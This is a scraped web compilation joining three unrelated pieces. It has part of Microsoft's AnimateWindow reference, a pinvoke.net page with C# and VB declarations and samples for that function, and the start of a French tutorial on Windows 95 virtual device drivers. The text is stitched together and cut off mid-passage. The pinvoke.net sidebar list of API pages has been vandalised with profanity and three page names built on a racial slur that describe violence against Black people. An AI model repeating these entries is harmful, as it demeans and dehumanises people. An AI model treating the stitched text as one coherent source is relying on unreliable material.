0x00000010

Makes the window appear to collapse inward if AW_HIDE is used or expand outward if the AW_HIDE is not used. The various direction flags have no effect.

AW_HIDE
0x00010000

Hides the window. By default, the window is shown.

AW_HOR_POSITIVE
0x00000001

Animates the window from left to right. This flag can be used with roll or slide animation. It is ignored when used with AW_CENTER or AW_BLEND.

AW_HOR_NEGATIVE
0x00000002

Animates the window from right to left. This flag can be used with roll or slide animation. It is ignored when used with AW_CENTER or AW_BLEND.

AW_SLIDE
0x00040000

Uses slide animation. By default, roll animation is used. This flag is ignored when used with AW_CENTER.

AW_VER_POSITIVE
0x00000004

Animates the window from top to bottom. This flag can be used with roll or slide animation. It is ignored when used with AW_CENTER or AW_BLEND.

AW_VER_NEGATIVE
0x00000008

Animates the window from bottom to top. This flag can be used with roll or slide animation. It is ignored when used with AW_CENTER or AW_BLEND.

Return value

Type:

Type: BOOL

If the function succeeds, the return value is nonzero.

If the function fails, the return value is zero. The function will fail in the following situations:

  • If the window is already visible and you are trying to show the window.
  • If the window is already hidden and you are trying to hide the window.
  • If there is no direction specified for the slide or roll animation.
  • When trying to animate a child window with AW_BLEND.
  • If the thread does not own the window. Note that, in this case, AnimateWindow fails but GetLastError returns ERROR_SUCCESS.

To get extended error information, call the GetLastError function.

Remarks

To show or hide a window without special effects, use ShowWindow.

When using slide or roll animation, you must specify the direction. It can be either AW_HOR_POSITIVE, AW_HOR_NEGATIVE, AW_VER_POSITIVE, or AW_VER_NEGATIVE.

You can combine AW_HOR_POSITIVE or AW_HOR_NEGATIVE with AW_VER_POSITIVE or AW_VER_NEGATIVE to animate a window diagonally.

The window procedures for the window and its child windows should handle any WM_PRINT or WM_PRINTCLIENT messages. Dialog boxes, controls, and common controls already handle WM_PRINTCLIENT. The default window procedure already handles WM_PRINT.

If a child window is displayed partially clipped, when it is animated it will have holes where it is clipped.

AnimateWindow supports RTL windows.

Avoid animating a window that has a drop shadow because it produces visually distracting, jerky animations.

Requirements

Minimum supported client

Windows 2000 Professional [desktop apps only]

Minimum supported server

Windows 2000 Server [desktop apps only]

Header
Winuser.h (include Windows.h)

Library
User32.lib

DLL
User32.dll

See also

Reference
ShowWindow
Conceptual
Windows
Other Resources
WM_PRINT
WM_PRINTCLIENT


pinvoke.net: animatewindow (user32)

Search
Module:
Directory
Constants
Delegates
Enums
Interfaces
Structures

Desktop Functions:
advapi32
avifil32
cards
cfgmgr32
comctl32
comdlg32
credui
crypt32
dbghelp
dbghlp
dbghlp32
dhcpsapi
difxapi
dmcl40
dnsapi
dtl
dwmapi
faultrep
fbwflib
fltlib
fwpuclnt
gdi32
gdiplus
getuname
glu32
glut32
gsapi
hhctrl
hid
hlink
httpapi
icmp
imm32
iphlpapi
iprop
irprops
kernel32
mapi32
MinCore
mpr
mqrt
mscorsn
msdelta
msdrm
msi
msports
msvcrt
ncrypt
netapi32
ntdll
ntdsapi
odbc32
odbccp32
ole32
oleacc
oleaut32
opengl32
pdh
powrprof
printui
propsys
psapi
pstorec
query
quickusb
rasapi32
rpcrt4
scarddlg
secur32
setupapi
shell32
shlwapi
twain_32
unicows
urlmon
user32
  • ActivateKeyboardLayout
  • AddClipboardFormatListener
  • AdjustWindowRect
  • AdjustWindowRectEx
  • adsf
  • AFAGGGRFFFFFF
  • AlignRects
  • AllowForegroundActivation
  • AllowSetForegroundWindow
  • AlphaWindow
  • anal
  • AnimateWindow
  • AnyPopup
  • AppendMenu
  • ArrangeIconicWindows
  • AttachThreadInput
  • A_better_moderation_process_will_stop_this
  • BeginDeferWindowPos
  • BeginPaint
  • BlockInput
  • Boshit
  • BringWindowToTop
  • BroadcastSystemMessage
  • BroadcastSystemMessageEx
  • CallBackPtr
  • CallMsgFilter
  • CallNextHookEx
  • CallWindowProc
  • CallWndRetProc
  • CancelShutdown
  • CascadeChildWindows
  • CascadeWindows
  • cbcb
  • CBTProc
  • ChangeClipboardChain
  • ChangeDisplaySettings
  • ChangeDisplaySettingsEx
  • ChangeDisplaySettingsFlags
  • ChangeMenu
  • ChangeWindowMessageFilter
  • ChangeWindowMessageFilterEx
  • ChangeWindowMessageFilter（USER32）
  • CharLower
  • CharLowerBuff
  • CharNext
  • CharNextEx
  • CharPrev
  • CharPrevEx
  • CharToOem
  • CharToOemBuff
  • CharUpper
  • CharUpperBuff
  • CheckAppInitBlockedServiceIdentity
  • CheckDesktopByThreadId
  • CheckDlgButton
  • CheckMenuItem
  • CheckMenuRadioItem
  • CheckRadioButton
  • CheckWindowThreadDesktop
  • ChildWindowFromPoint
  • ChildWindowFromPointEx
  • ClientRectangle
  • ClientThreadSetup
  • ClientToScreen
  • CliImmSetHotKey
  • ClipCursor
  • CloseClipboard
  • CloseDesktop
  • CloseHandle
  • CloseWindow
  • CloseWindow
  • CloseWindowStation
  • code
  • combat arms
  • CopyAcceleratorTable
  • CopyIcon
  • CopyImage
  • CopyRect
  • CountClipboardFormats
  • CreateAcceleratorTable
  • CreateCaret
  • CreateCursor
  • CreateDesktop
  • CreateDialogIndirectParam
  • CreateDialogParam
  • CreateIcon
  • CreateIconFromResource
  • CreateIconFromResourceEx
  • CreateIconIndirect
  • CreateMDIWindow
  • CreateMenu
  • CreatePopupMenu
  • CreateRegion
  • CreateWindow
  • CreateWindowEx
  • CreateWindowStation
  • dddd
  • DdeAbandonTransaction
  • DdeAccessData
  • DdeAddData
  • DdeClientTransaction
  • DdeCmpStringHandles
  • DdeConnect
  • DdeConnectList
  • DdeCreateDataHandle
  • DdeCreateStringHandle
  • DdeDisconnect
  • DdeDisconnectList
  • DdeEnableCallback
  • DdeFreeDataHandle
  • DdeFreeStringHandle
  • DdeGetData
  • DdeGetLastError
  • DdeImpersonateClient
  • DdeInitialize
  • DdeKeepStringHandle
  • DdeNameService
  • DdePostAdvise
  • DdeQueryConvInfo
  • DdeQueryNextServer
  • DdeQueryString
  • DdeReconnect
  • DdeSetQualityOfService
  • DdeSetUserHandle
  • DdeUnaccessData
  • DdeUninitialize
  • DebugProc
  • DefDlgProc
  • DeferWindowPos
  • DeferWindowPosCommands
  • DefFrameProc
  • DefMDIChildProc
  • DefWindowProc
  • deletedeletedelete
  • DeleteMenu
  • DeregisterShellHookWindow
  • DestroyAcceleratorTable
  • DestroyCaret
  • DestroyCursor
  • DestroyIcon
  • DestroyMenu
  • DestroyWindow
  • DevBroadcastDeviceInterfaceBuffer
  • DialogBoxIndirectParam
  • DialogBoxParam
  • Dicas_xHarbour
  • DispatchMessage
  • DisposeNigger
  • DlgDirList
  • DlgDirListComboBox
  • DlgDirSelectComboBoxEx
  • DlgDirSelectEx
  • DragDetect
  • DrawAnimatedRects
  • DrawCaption
  • DrawEdge
  • DrawFocusRect
  • DrawFrameControl
  • DrawFrameControlStates
  • DrawFrameControlTypes
  • DrawIcon
  • DrawIconEx
  • DrawMenuBar
  • DrawState
  • DrawText
  • DrawTextEx
  • EmptyClipboard
  • EnableMenuItem
  • EnableScrollBar
  • EnableWindow
  • EndDeferWindowPos
  • EndDialog
  • EndMenu
  • EndPaint
  • EndTask
  • EndTask
  • EnumChildWindows
  • EnumClipboardFormats
  • EnumDesktops
  • EnumDesktopWindows
  • EnumDisplayDevices
  • EnumDisplayMonitors
  • EnumDisplaySettings
  • EnumDisplaySettingsEx
  • EnumProps
  • EnumPropsEx
  • EnumReport
  • EnumThreadDelegate
  • EnumThreadWindows
  • EnumWindows
  • EnumWindowStations
  • EqualRect
  • ExcludeUpdateRgn
  • ExitWindowsEx
  • fake!
  • fff
  • FillRect
  • FindWindow
  • FindWindowA
  • FindWindowEx
  • FlashWindow
  • FlashWindowEx
  • ForegroundIdleProc
  • FrameRect
  • FreeDDElParam
  • fuckyou
  • GetActiveWindow
  • GetAltTabInfo
  • GetAncestor
  • GetAsyncKeyState
  • GetCapture
  • GetCaretBlinkTime
  • GetCaretPos
  • GetClassInfo
  • GetClassInfoEx
  • GetClassLong
  • GetClassLongPtr
  • GetClassName
  • GetClassWord
  • GetClientRect
  • GetClipboardData
  • GetClipboardFormatName
  • GetClipboardOwner
  • GetClipboardSequenceNumber
  • GetClipboardViewer
  • GetClipCursor
  • GetComboBoxInfo
  • GetCurrentThread
  • GetCursor
  • GetCursorInfo
  • GetCursorPos
  • GetDC
  • GetDCEx
  • GetDesktopWindow
  • GetDialogBaseUnits
  • GetDlgCtrlID
  • GetDlgItem
  • GetDlgItemInt
  • GetDlgItemText
  • GetDoubleClickTime
  • GetFocus
  • GetForegroundWindow
  • GetGuiResources
  • GetGUIThreadInfo
  • GetIconInfo
  • GetInputState
  • GetKBCodePage
  • GetKeyboardLayout
  • GetKeyboardLayoutList
  • GetKeyboardLayoutName
  • GetKeyboardState
  • GetKeyboardType
  • GetKeyNameText
  • GetKeyState
  • GetLastActivePopup
  • GetLastError
  • GetLastInputInfo
  • GetLayeredWindowAttributes
  • GetListBoxInfo
  • GetMenu
  • GetMenuBarInfo
  • GetMenuCheckMarkDimensions
  • GetMenuContextHelpId
  • GetMenuDefaultItem
  • GetMenuInfo
  • GetMenuItemCount
  • GetMenuItemID
  • GetMenuItemInfo
  • GetMenuItemRect
  • GetMenuState
  • GetMenuString
  • GetMessage
  • GetMessageExtraInfo
  • GetMessagePos
  • GetMessageTime
  • GetModuleHandleW
  • GetMonitorInfo
  • GetMouseMovePointsEx
  • GetMsgProc
  • GetNextDlgGroupItem
  • GetNextDlgTabItem
  • GetNextWindow
  • GetOpenClipboardWindow
  • GetParent
  • GetPriorityClipboardFormat
  • GetProcAddressW
  • GetProcessDefaultLayout
  • GetProcessWindowStation
  • GetProp
  • GetQueueStatus
  • GetRawInputData
  • GetRawInputDeviceInfo
  • GetRawInputDeviceInfo
  • GetRawInputDeviceList
  • GetScrollBarInfo
  • GetScrollInfo
  • GetScrollPos
  • GetScrollRange
  • GetShellWindow
  • GetSubMenu
  • GetSysColor
  • GetSysColorBrush
  • GetSystemMenu
  • GetSystemMetrics
  • GetTabbedTextExtent
  • GetThreadDesktop
  • GetTitleBarInfo
  • GetTopWindow
  • GetUpdateRect
  • GetUpdateRgn
  • GetUserObjectInformation
  • GetUserObjectSecurity
  • GetWindow
  • GetWindowContextHelpId
  • GetWindowDC
  • GetWindowInfo
  • GetWindowLong
  • GetWindowLongPtr
  • GetWindowModuleFileName
  • GetWindowPlacement
  • GetWindowPos
  • GetWindowRect
  • GetWindowRgn
  • GetWindowTex
  • GetWindowText
  • GetWindowTextLength
  • GetWindowThreadProcessId
  • GrayString
  • HandleRef
  • Hello
  • HideCaret
  • HiliteMenuItem
  • hs
  • ImpersonateDdeClientWindow
  • InflateRect
  • InSendMessage
  • InSendMessageEx
  • InsertMenu
  • InsertMenuItem
  • IntersectRect
  • IntPtr
  • InvalidateRect
  • InvalidateRgn
  • InvertRect
  • IsCharAlpha
  • IsCharAlphaNumeric
  • IsCharLower
  • IsCharUpper
  • IsChild
  • IsClipboardFormatAvailable
  • IsDialogMessage
  • IsDlgButtonChecked
  • IsHungAppWindow
  • IsIconic
  • IsMenu
  • IsRectEmpty
  • IsWindow
  • IsWindowEnabled
  • IsWindowUnicode
  • IsWindowVisible
  • IsZoomed
  • ITCactus
  • JournalPlaybackProc
  • keybd_event
  • KeyboardKey
  • KeyboardProc
  • KillTimer
  • LoadAccelerators
  • LoadBitmap
  • LoadCursor
  • LoadCursorFromFile
  • LoadIcon
  • LoadImage
  • LoadKeyboardLayout
  • LoadMenu
  • LoadMenuIndirect
  • LoadString
  • LockSetForegroundWindow
  • LockWindowUpdate
  • LockWorkStation
  • lol
  • LookupIconIdFromDirectory
  • LookupIconIdFromDirectoryEx
  • LowLevelKeyboardProc
  • LowLevelMouseProc
  • ManagedWindowsApi
  • MapDialogRect
  • MapVirtualKey
  • MapVirtualKeyEx
  • MapWindowPoints
  • MB_GetString
  • MenuItemFromPoint
  • MessageBeep
  • MessageBox
  • MessageBoxEx
  • MessageBoxIndirect
  • MessageBoxTimeout
  • MessageProc
  • minaisabutt
  • ModifyMenu
  • MonitorFromPoint
  • MonitorFromRect
  • MonitorFromWindow
  • MONITORINFO
  • MONITORINFOEX
  • MouseProc
  • mouse_event
  • MoveWindow
  • MsgWaitForMultipleObjects
  • MsgWaitForMultipleObjectsEx
  • mypage
  • NaF Function
  • NativeMethods
  • NotifyWinEvent
  • o
  • OemKeyScan
  • OemToChar
  • OemToCharBuff
  • OffsetRect
  • OpenClipboard
  • OpenDesktop
  • OpenIcon
  • OpenInputDesktop
  • OpenProcess
  • OpenWindowStation
  • PackDDElParam
  • PaintDesktop
  • patrick
  • peekmessage indir
  • PeekMessage
  • PointL
  • PostMessage
  • PostQuitMessage
  • PostThreadMessage
  • PrintWindow
  • PropSheet
  • PtInRect
  • ReadProcessMemory
  • RealChildWindowFromPoint
  • RealGetWindowClass
  • RedrawWindow
  • RegisterClass
  • RegisterClassEx
  • RegisterClipboardFormat
  • RegisterDeviceNotification
  • RegisterHotKey
  • RegisterHotKeyaspx
  • RegisterPowerSettingNotification
  • RegisterRawInputDevices
  • RegisterShellHookWindow
  • RegisterWindowMessage
  • ReleaseCapture
  • ReleaseDC
  • RemoveClipboardFormatListener
  • RemoveMenu
  • RemoveProp
  • ReplyMessage
  • ReuseDDElParam
  • rijju
  • safsaf
  • SAO
  • SB_GETTEXT
  • ScreenToClient
  • ScrollDC
  • ScrollInfoMask
  • ScrollWindow
  • ScrollWindowEx
  • ScrollWindows
  • SendDlgItemMessage
  • SendInput
  • SendMessage
  • SendMessageCallback
  • SendMessageTimeout
  • SendNiggerToCottonPlantation
  • SendNotifyMessage
  • SetActiveWindow
  • SetCapture
  • SetCaretBlinkTime
  • SetCaretPos
  • SetCaretPosition
  • SetClassLong
  • SetClassLongPtr
  • SetClassWord
  • SetClipboardData
  • SetClipboardViewer
  • SetCursor
  • SetCursorPos
  • SetDlgItemInt
  • SetDlgItemText
  • SetDoubleClickTime
  • SetFocus
  • SetForegroundWindow
  • SetKeyboardState
  • SetLastErrorEx
  • SetLayeredWindowAttributes
  • SetMenu
  • SetMenuContextHelpId
  • SetMenuDefaultItem
  • SetMenuInfo
  • SetMenuItemBitmaps
  • SetMenuItemInfo
  • SetMessageExtraInfo
  • SetParent
  • SetProcessDefaultLayout
  • SetProcessDPIAware
  • SetProcessWindowStation
  • SetProp
  • SetRect
  • SetRectEmpty
  • SetScrollInfo
  • SetScrollPos
  • SetScrollRange
  • SetSysColors
  • SetSystemCursor
  • SetThreadDesktop
  • SetTimer
  • SetUserObjectInformation
  • SetUserObjectSecurity
  • SetWindowContextHelpId
  • SetWindowDisplayAffinity
  • SetWindowLong
  • SetWindowLongPtr
  • SetWindowPlacement
  • SetWindowPos
  • SetWindowRgn
  • SetWindowsHookEx
  • SetWindowText
  • SetWinEventHook
  • ShellProc
  • ShowCaret
  • ShowCursor
  • ShowOwnedPopups
  • ShowScrollBar
  • ShowState
  • showwindow)
  • ShowWindow
  • ShowWindowAsync
  • ShowWithoutActivation
  • ShutdownBlockReasonCreate
  • ShutdownBlockReasonDestroy
  • sounds
  • SubtractRect
  • sucuni
  • SwapMouseButton
  • SwitchDesktop
  • SwitchToThisWindow
  • SysMSGProc
  • SystemIcons
  • SystemInformation
  • SystemParametersInfo
  • SystemParametrInfo
  • TabbedTextOut
  • TCITEM
  • This is a new title
  • TileWindows
  • ToAscii
  • ToAsciiEx
  • ToUnicode
  • ToUnicodeEx
  • TrackMouseEvent
  • TrackPopupMenu
  • TrackPopupMenuEx
  • TranslateAccelerator
  • TranslateMDISysAccel
  • TranslateMessage
  • TransparencyKey
  • tree
  • UIntPtr
  • UIntrPtr
  • UnhookWindowsHookEx
  • UnhookWinEvent
  • UnionRect
  • UnloadKeyboardLayout
  • UnpackDDElParam
  • UnregisterClass
  • unregisterClassEx
  • UnregisterDeviceNotification
  • UnregisterHotKey
  • UnregisterPowerSettingNotification
  • UpdateLayeredWindow
  • UpdateWindow
  • user32
  • UserHandleGrantAccess
  • ValidateRect
  • ValidateRgn
  • VirtualKeyCodes
  • VkKeyScan
  • VkKeyScanEx
  • WaitForInputIdle
  • WaitMessage
  • WhipNiggerToNearDeath
  • WindowFromDC
  • WindowFromPoint
  • WindowsAPI
  • WindowsApplication1
  • WinEventDelegate
  • WinForm
  • WinHelp
  • WinHelpCommands
  • WNDCLASS
  • WndProcDelegate
  • wra
  • wsprintf
    • userenv
    uxtheme
    version
    wer
    wevtapi
    winfax
    winhttp
    wininet
    winmm
    winscard
    winspool
    wintrust
    winusb
    wlanapi
    ws2_32
    wtsapi32
    xolehlp
    xpsprint

    Smart Device Functions:
    aygshell
    coredll
    ipaqutil
    rapi

    Glossary

    Show Recent Changes
    Subscribe (RSS)
    Misc. Pages
    Comments
    FAQ
    Helpful Tools
    Playground
    Suggested Reading
    Website TODO List
    Support Forum
    Download Visual Studio Add-In

    Terms of Use
    Privacy Policy
    Create page
    Type a page name and press Enter. You'll jump to the page if it exists, or you can create it if it doesn't.
    To create a page in a module other than user32, prefix the name with the module name and a period.
    animatewindow (user32)
    .
    Summary
    The AnimateWindow API

    C# Signature:

    [DllImport("user32")]
    static extern bool AnimateWindow(IntPtr hwnd, int time, AnimateWindowFlags flags);

    VB Signature:

    Imports System.Runtime.InteropServices

    <DllImport("user32.dll")> _
    Shared Function AnimateWindow(ByVal hwnd As IntPtr, ByVal time As Integer, ByVal flags As AnimateWindowFlags) As Boolean
    End Function

    User-Defined Types:

    AnimateWindowFlags should be used for the dwFlags parameter.

    Notes:

    Don’t forget to use the AnimateWindowFlags!

    Tips & Tricks:

    To get an animation to run in reverse, to say, animate the window closing use some thing like:

    Dim f2 As New Form2
    AnimateWindow(f2.Handle, 1000, AnimateWindowFlags.AW_VER_NEGATIVE Or AnimateWindowFlags.AW_SLIDE or AnimateWindowFlags.AW_HIDE)
    f2.Show()

    The AW_HIDE will make any of the animations run in reverse.

    AnimateWindow doesn't actually show the window so make sure you call Show() or set this.Visible = true after calling AnimateWindow

    C# Sample Code:

    This assumes that the AnimateWindow function is declared inside class User32

    Form2 f2 = new Form2();
    AnimateWindow(f2.Handle, 1000, (uint) AnimateWindowFlags.AW_VER_NEGATIVE | (uint) AnimateWindowFlags.AW_SLIDE);
    f2.Show();

    VB.NET Sample Code:

    Dim f2 As New Form2
    AnimateWindow(f2.Handle, 1000, AnimateWindowFlags.AW_VER_NEGATIVE Or AnimateWindowFlags.AW_SLIDE or AnimateWindowFlags.AW_HIDE)
    f2.Show()

    Alternative Managed API:

    None

    Documentation
    AnimateWindow on MSDN
    The AnimateWindow API
    6/4/2016 1:49:54 AM - -73.81.7.241
    Can be used with the AnimateWindow API
    3/19/2007 10:48:39 PM - chrish@ovationmarketing.com-207.230.217.31
    Can be used with the AnimateWindow API
    3/19/2007 10:48:39 PM - chrish@ovationmarketing.com-207.230.217.31
    The AnimateWindow API
    6/4/2016 1:49:54 AM - -73.81.7.241
    The AnimateWindow API
    6/4/2016 1:49:54 AM - -73.81.7.241
    The AnimateWindow API
    6/4/2016 1:49:54 AM - -73.81.7.241

    Please edit this page!

    Do you have...

    • helpful tips or sample code to share for using this API in managed code?
    • corrections to the existing content?
    • variations of the signature you want to share?
    • additional languages you want to include?

    Select "Edit This Page" on the right hand toolbar and edit it! Or add new pages containing supporting types needed for this API (structures, delegates, and more).

    Access PInvoke.net directly from VS:
    Terms of Use
    Edit This Page
    Find References
    Show Printable Version
    Revisions


Version 1.0
INDEX

Tut1 : Driver de Dispositif Virtuel, Elémentaire (Virtual Device Driver Basics).
Tut2 : Manager de Machine Virtuelle (VMM), (Virtual Machine Manager).
Tut3 : Squelette d'un VxD, (Virtual Device Driver Skeleton).
Tut4 : Programmation d'un VxD : élémentaire, (VxD Programming: Primer).
Tut5 : Exemple de VxD: MessageBox, (VxD Example: MessageBox).
Tut6 : L'Interface DeviceIoControl, (DeviceIoControl Interface).
Tut7 : Temps d'Application et Functions du Shell, (Application Time and Shell Functions).
Tut8 : La Structure Client Register, (Client Register Structure).
Tut9 : Le Manager de Mémoire Virtuelle : 8086, (Virtual 8086 Memory Manager).

Summary:

VM: (Virtual Machine) Une Machine Virtuelle. Mais commençons par la Machine Réelle, c'est votre ordinateur. Normalement pour pouvoir faire tourner 2 programmes il faudrait deux machines donc deux ordinateurs (et ça c'est vrai sous Winows 3.xx. On a trouvé la parade avec Windows 9.xx, on a inventé les Machines Virtuelles. Votre ordinateur réel ou physique est patitionné en plusieurs autres machines qui ne sont plus physiques mais Virtuelles. Chaque VM s'occupe de faire fonctionner un seul programme. Ainsi sur un unique ordinateur physique on peut faire fonctionner plusieurs programmes chacun d'eux dans une Machine Virtuelle.

VMM: (Virtuals Machines Manager) Le Manager de Machines Virtuelles est un superviseur qui contrôle la totalité des VMs (des Machines Virtuelles). Si par exemple plusieurs Machines Virtuelles fonctionnent en parallèle (en même temps) sur votre ordinateur, alors le VMM en fait fonctionner une seule pendant un bref instant puis la suspend pour faire fonctionner une suivante et ainsi de suite et revient à la toute première. Chaque temps de fonctionnement des VMs étant si bref qu'on à l'impression qu'elles fonctionnent réellement toutes ensembles. Mais c'est faux, elles fonctionnent seulement les unes après les autres ultra-rapidement.

VxD: (Virtual Device Driver) Est un 'Driver de Device Virtuel' ou encore un 'Driver de Matériel Virtuel'. Mais avant un Driver c'est un Pilote, par exemple quand vous installez une nouvelle souris (c'est un matériel ou Device) il lui faut un petit programme (le Driver) pour qu'elle fonctionne. Ce Driver sert de liaison entre les Machines Virtuelles (VMs) et le matériel qui lui est réel. En effet comment une seule souris pourrait fonctionner avec plusieurs Machines Virtuelles ? C'est le VxD le Driver de Matériel Virtuel qui se comporte comme plusieurs souris virtuelles et coordonne les actions de la souris réelle avec toutes les Machines Virtuelles. 'x' représente le Device (le Matériel), le VxD de la souris est donc nommé 'Virtual Mouse Driver'

Interruption: Puisque plusieurs programmes tournent en parallèles sur plusieurs Machines Virtuelles (VMs), le Manager de Machines Virtuelles (VMM) interrompt le cours de ces programmes à tour de rôle pour continuer le déroulement d'un autre et ainsi de suite. Après chaque interruption le VMM reprend le cours du programme à l'endroit où il l'avait interrompu.

Structure 'Client Register': Cette Structure n'est en faite que l'ensemble de tous les registres du programme qu'on a interrompu. Lorsque le VMM interrompt le premier programme, tous les registres de ce programme sont sauvegardés dans cette structure 'Client Register' (et chacun des programme possède la sienne). Le VMM exécute le programme n°2 donc les registres sont modifiés. Et quand le VMM retourne au programme n°1 il peut retrouver la totalité de l'état de ses registres dans cette structure et ainsi continuer le programme exactement là où il en était.

Ring-0 et Ring-3: La presque totalité des programmes fonctionne en Ring-3, ça signifie que pour un programme habituel (en Ring-3) il existe un programme de plus haut niveau (Ring-0) qui contrôle que tout est correcte. Par exemple vous créez un programme normal mais malheureusement il a un bug, en le lançant on vous informe qu'il y a une erreur dans votre programme. C'est le maître Ring-0 qui vous en a informé. Attention pour un programme Ring-0 si vous faites une erreur personne n'est là pour le contrôler donc ça peut devenir très dangeureux. L'avantage d'un programme Ring-0 c'est que tout lui est permi il a accès à vraiment tout. Là où un programme Ring-3 échoue parce qu'il ne peut pas effacer ou déplacer un fichier dll ou system appartenant à Windows, un programme Ring-0, lui, peut le faire sans qu'un message d'avertissement le lui interdise car il n'est pas contrôlé par qui que ce soit. Les VxDs fonctionnent au niveau Ring-0.

Assembles_VxD: est un petit programme batch (*.bat) qui vous servira a assembler vos propres VxDs. Une petite restriction quand même, vous devez créer un repertoire d'assemblage (du nom que vous voulez) sous C:\Masm32, le mien s'appelle '_Essai' donc pour assembler mes VxDs je dois placer Assembles_VxD ansi que le VxD à assembler dans le répertoire C:\Masm32\_Essai.


Virtual Device Driver Basic

Driver de Dispositif Virtuel, Elémentaire

(Virtual Device Driver Basics)

Dispositif = Matériel. (ex: le clavier la souris...)

Dans cette série de Tutorials, je présumerai que le lecteur soit déjà familier avec les opérations des processeurs Intel 80x86 à propos des modes protégés tels que le mode virtuel 8086, la pagination, GDT, LDT, IDT. Si vous ne savez pas de quoi je parle, lisez d'abord la documentation d'Intel à l'adresse http://developer.intel.com/design/pentium/manuals/

Contenu:

Windows 95 est un système d'exploitation multi-taches fonctionnant au niveau le plus haut (privilégié), le Ring 0. Toutes les applications normales donc les autres programmes possèdent un privilège de type Ring 3, c'est le niveau de moindre privilège. De cette manière, ces applications sont limitées dans ce qu'elles peuvent faire au système. Elles ne peuvent pas employer les instructions privilégiées du CPU, Ces programmes ne peuvent pas avoir directement accès au port d'entrée-sortie et cetera. Vous connaissez sans aucun doute ces trois composants du système: gdi32, kernel32 et user32. Vous pensiez vu leur importance qu'ils fonctionnaient en Ring 0. Et bien...en réalité, ils fonctionnent en Ring 3, comme toutes les autres applications. Ainsi ils n'ont pas plus de privilège que, disons, la calculette de Windows ou le jeu du démineur. En réalité, la puissance du système est dans le contrôle de l'administrateur de machine virtuelle (VMM) (virtual machine manager) et des Drivers de Dispositifs Virtuals (VxD) (virtual device drivers).
Tous ça n'aurait pas pu arriver si DOS n'avait pas rendu le tableau plus compliqué. Durant l'ère de Windows 3.x, il y a eu des tas de bons programmes sous DOS sur le marché. Windows 3.x a été capable de les faire fonctionner à côté d'autres programmes Windows normaux, sinon ça auraient été des échecs commercialement.
Ce dilemme n'a pas été facile à résoudre. Les programmes DOS et les programmes de Windows diffèrent résolument les uns des autres. Les programmes DOS sont NULS dans le sens qu'ils pensent êtres un tout unique dans le système : clavier, CPU, mémoire, disque etc. Ils ne savent pas comment coopérer avec d'autres programmes tandis que les programmes Windows (en ce temps-là) reposaient sur la multi-gestion coopérative, c'est-à-dire que chaque programme Windows devait rapporter le contrôle à d'autres programmes grâce à la fonction GetMessage ou PeekMessage.
La solution c'est de faire tourner chaque programme DOS dans une machine virtuelle 8086 tandis que tous les autres programmes de Windows tournent dans une autre machine virtuelle appelée system de machine virtuelle (system virtual machine). Windows est responsable de l'accès au CPU pendant un certain temps pour chaque machine virtuelle les unes après les autres. Ainsi sous Windows 3.x, les programmes Windows utilisent la multi-gestion coopérative tandis que les machines virtuelles utilisent la multi-gestion préventive.
Qu'est-ce qu'une machine virtuelle ? Une machine virtuelle est une machine fictive créée seulement par le logiciel. Une machine virtuelle réagit aux programmes qui sont en fonctionnement comme une machine réelle. Ainsi un programme sait qu'il tourne dans une machine virtuelle mais il ne s'en soucie pas. Puisque la machine virtuelle répond au programme exactement comme une machine réelle, alors elle peut être traité comme étant une chose réelle.
Vous pouvez vous représenter l'interface entre la machine réelle et son logiciel un peu comme une sorte d'API. Cet API peu commun consiste à intercepter, les appels du BIOS et des ports d'entrée-sortie. Si Windows peut d'une façon ou d'une autre parfaitement simuler cet API, alors les programmes tournant dans la machine virtuelle se comporteront exactement comme s'ils fonctionnaient dans la machine réelle.
c'est là qu'entrent en scène les VMM et les VxDs. Pour coordonner et surveiller des machines virtuelles (VMs), Windows a besoin d'un programme qui se consacre à cette tâche. Ce programme est le Manager de Machine Virtuelle.

Le Manager de Machine Virtuelle : (Virual Machine Manager)

VMM est un programme 32 bits en mode protégé. Sa responsabilité principale est d'ériger et d'entretenir la structure qui soutient des machines virtuelles. Comme tel, il est responsable de la création, du fonctionnement et de la fin des VMs (Machines Virtuelles). Le VMM (le Manager) est un des nombreux systèmes VxDs qui est stocké dans VMM32.VXD de votre répertoire System. C'est aussi un VxD mais il peut être considéré comme le 'maître surveillant', d'autres VxDs. Voyons plus en détails la séquence de Boot de Windows 95:
  1. io.sys est chargé en mémoire
  2. config.sys et autoexec.bat sont exécutés
  3. win.com est appelé
  4. win.com lance VMM32.VXD lequel est en fait un simple fichier EXE sous DOS.
  5. VMM32.VXD charge le VMM en mémoire étendue en utilisant le driver XMS
  6. VMM initialise lui-même d'autres 'virtual device drivers' par défaut.
  7. VMM met la machine en mode protégé et crée le 'système de machine virtuelle'
  8. (Virtual Shell Device) Le Dispositif Shell Virtuel, qui a été chargé précédemment, fait tourner Windows dans le système VM en lançant krnl386.exe
  9. krnl386.exe charge d'autres fichiers, pour en finir avec le shell de Windows 95.
Comme vous pouvez le voir, VMM est le premier VxD qui soit chargé en mémoire. Il crée le système de la machine virtuelle et initialise d'autre VxDs. Il fournit aussi de nombreux services à ces VxDs.
Le VMM (le manager de Machine virtuelle) et le mode d'opération des VxDs diffèrent de celui des programmes réels. Ils sont, la plupart du temps, inertes. Pendant que les applications tournent dans le système, ces VxDs ne sont pas actifs. Ils seront réveillés quand une quelconque interruption/faute/événement se produit et a besoin de leur attention.
Le VMM n'est pas le décideur. Ça signifie que les VxDs doivent synchroniser leurs accès aux services du VMM. Il y a quelques situations pour lesquelles il peut être dangereux d'appeler les services du VMM tel que lorsque une interruption matériel est en service. Pendant ce temps-là, le VMM ne peut pas tolérer un autre accès de la part d'un autre VxD. Vous en tant que concepteur de nouveaux VxDs devez être extrêmement prudents à ce que vous faites. Rappelez-vous qu'il n'y a personne pour s'occuper des erreurs de votre code à votre place. Vous êtes absolument seul dans le Ring 0. Ici vous êtes sur le fil du rasoir, il n'y aura personne pour vous dire ou non si vous faites des conneries.

Driver de Dispositif Virtuel: (Virtual Device Driver)

